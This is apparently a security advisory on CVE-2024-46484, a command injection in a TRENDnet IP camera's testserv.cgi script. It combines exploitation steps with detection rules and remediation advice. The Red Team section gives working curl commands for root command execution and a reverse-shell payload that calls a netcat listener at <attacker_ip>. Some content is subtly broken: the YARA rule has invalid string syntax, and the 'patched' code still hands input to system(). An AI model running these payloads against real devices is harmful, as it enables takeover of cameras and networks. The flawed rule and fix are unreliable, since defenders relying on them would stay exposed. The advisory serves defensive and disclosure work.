CVE-2024-46484

Executive Summary

CVE-2024-46484 is an OS command injection vulnerability in the TRENDnet TV-IP410 camera (firmware version A1.0R). The flaw resides in the /server/cgi-bin/testserv.cgi component, allowing an unauthenticated attacker to inject arbitrary operating system commands. Successful exploitation can lead to full device compromise, including remote code execution, data exfiltration, and use of the device as a pivot point within the network. No public proof-of-concept or patch is currently available, making this a high-risk zero-day for affected devices.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Threat Level: Critical (estimated CVSS 9.8)

Deep Dive & Mechanics

The vulnerability exists in the testserv.cgi CGI script, which is used for network testing (e.g., ping, traceroute). The script fails to sanitize user-supplied input before passing it to a system shell. An attacker can inject command separators (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The CGI script likely uses a function like popen() or system() with unsanitized input concatenated directly into the command string.

Attack Vector: Unauthenticated HTTP POST request to /server/cgi-bin/testserv.cgi with a crafted parameter (e.g., ip=127.0.0.1;id).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// testserv.cgi - vulnerable
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", getenv("QUERY_STRING"));
system(cmd);

Patched Code (Conceptual):

// testserv.cgi - patched
char cmd[256];
char *input = sanitize_input(getenv("QUERY_STRING"));
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", input);
system(cmd);

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a TRENDnet TV-IP410 camera (firmware A1.0R) or use an emulator (e.g., QEMU for MIPS).
2. Connect the device to an isolated network.
3. Use a tool like curl or Burp Suite to send crafted requests.

Exploit Command:

curl -X POST "http://<target_ip>/server/cgi-bin/testserv.cgi" \
  --data "ip=127.0.0.1;id"

Expected Output:

uid=0(root) gid=0(root)

Advanced Payload (Reverse Shell):

curl -X POST "http://<target_ip>/server/cgi-bin/testserv.cgi" \
  --data "ip=127.0.0.1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f"

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /server/cgi-bin/testserv.cgi with suspicious parameters (e.g., ;, |, &).
2. Check for unexpected outbound connections from the camera (e.g., reverse shells).
3. Review system logs for command execution events (if logging is enabled).

Honeypot Setup:

• Deploy a fake TV-IP410 endpoint that logs all requests to /server/cgi-bin/testserv.cgi.
• Use netcat or a simple Python script to simulate the CGI endpoint.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /server/cgi-bin/testserv.cgi with shell metacharacters.
  • Outbound connections from the camera to unusual IPs/ports (e.g., 4444, 1337).
• File System:
  • Presence of /tmp/f (FIFO file used in reverse shell).
  • Unexpected binaries in /tmp or /var/tmp.
• Process:
  • Running processes like nc, bash, or sh spawned by httpd.

Detection Engineering

YARA Rule

rule CVE_2024_46484_Exploit {
    meta:
        description = "Detects HTTP POST requests exploiting CVE-2024-46484"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $s1 = "/server/cgi-bin/testserv.cgi"
        $s2 = "ip="
        $s3 = ";" or "|" or "&" or "$(" or "`"
    condition:
        all of ($s1, $s2) and any of ($s3)
}

Sigma Rule

title: CVE-2024-46484 OS Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit OS command injection in TRENDnet TV-IP410
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/server/cgi-bin/testserv.cgi"
        cs-method: "POST"
        cs-uri-query|contains:
            - ";"
            - "|"
            - "&"
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate network testing with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46484 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/server/cgi-bin/testserv.cgi"; http_uri; content:"ip="; http_client_body; pcre:"/(;|\||&|\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Disable the testserv.cgi endpoint if possible (e.g., via firewall rules or web server configuration).
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Contact TRENDnet for an official firmware update.
• If no patch is available, consider replacing the device with a supported model.

Workaround:

• Implement a reverse proxy (e.g., Nginx) to block requests containing shell metacharacters in the ip parameter.

Valters IT